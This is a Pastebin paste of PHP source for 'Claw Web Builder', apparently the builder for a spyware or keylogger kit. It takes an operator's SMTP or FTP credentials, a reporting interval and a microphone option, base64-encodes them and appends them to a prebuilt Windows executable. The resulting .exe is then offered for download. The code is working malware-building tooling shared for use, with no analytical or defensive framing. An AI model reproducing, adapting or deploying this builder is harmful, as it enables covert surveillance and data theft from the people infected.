FlyFar

php/clawnew.php

Aug 24th, 2023
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.36 KB | Cybersecurity | 0 0
  1. // Claw Web Builder
  2. // This Code needs to be changed according to your html build page
  3. // This snippet is according to the envoironment, And setup of https://quantumcored.com/users/clawmain.php
  4. // This is hosted here https://quantumcored.com/users/clawnew.php
  5.  
  6. <?php
  7.  
  8.  
  9. function generateRandomString($length = 10) {
  10.     return substr(str_shuffle(str_repeat($x='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length/strlen($x)) )),1,$length);
  11. }
  12.  
  13.  
  14.  
  15. if(!empty($_POST['proto']))
  16. {
  17.     $protocol = $_POST['proto'];
  18.     if(!empty($_POST['time'])){
  19.         $interval = "";
  20.        
  21.         if($_POST['time'] == "5 Minutes"){
  22.             $interval = "300000";
  23.         } else if($_POST['time'] == "10 Minutes"){
  24.             $interval = "600000";
  25.         } else if($_POST['time'] == "15 minutes"){
  26.             $interval = "900000";
  27.         }
  28.     }
  29.     else {
  30.         header("Location: clawmain.php");
  31.     }
  32.     if($protocol == "smtp")
  33.     {
  34.         if(empty($_POST['email']) || empty($_POST['password']) || empty($_POST['gmailinstallname'])){
  35.             header("Location: clawmain.php");
  36.         } else {
  37.             $final_value = base64_encode($protocol) . "[]" . base64_encode($_POST ['email']) . "[]" . base64_encode($_POST['password']) . "[]" . base64_encode($_POST['gmailinstallname']) . "[]" . base64_encode($interval) . "[]" . base64_encode($_POST['mic']);
  38.         }
  39.        
  40.     }
  41.     else {
  42.         if(empty($_POST['ftpserver']) || empty($_POST['username']) || empty($_POST['passw']) || empty($_POST['installname'])){
  43.             header("Location: clawmain.php");
  44.         } else {
  45.             $serveruser = $_POST['ftpserver'] . "," . $_POST['username'];
  46.             $final_value = base64_encode($protocol) . "[]" . base64_encode($serveruser) . "[]" . base64_encode($_POST['passw']) . "[]" . base64_encode($_POST['installname']) . "[]" . base64_encode($interval) . "[]" . base64_encode($_POST['ftpmic']);
  47.         }
  48.        
  49.     }
  50.  
  51.     $binfilename = $protocol . "_" . generateRandomString(5) . ".exe";
  52.     if($_POST['size'] == "Small"){
  53.        
  54.         copy("bin/bin_s", "output/".$binfilename);
  55.         $bin = fopen( "output/" . $binfilename, "ab");
  56.         fwrite($bin, "\n\n");
  57.         fwrite($bin, $final_value);
  58.         fclose($bin);
  59.     } else {
  60.         copy("bin/bin", "output/".$binfilename);
  61.         $bin = fopen( "output/" . $binfilename, "ab");
  62.         fwrite($bin, "\n\n");
  63.         fwrite($bin, $final_value);
  64.         fclose($bin);
  65.     }
  66.        
  67.  
  68.     header("Location: http://$_SERVER[HTTP_HOST]/users/output/$binfilename");
  69. } else {
  70.     header("Location: clawmain.php");
  71. }
  72. // {
  73.    
  74.    
  75. ?>
  76. </p>
Add Comment
Please, Sign In to add comment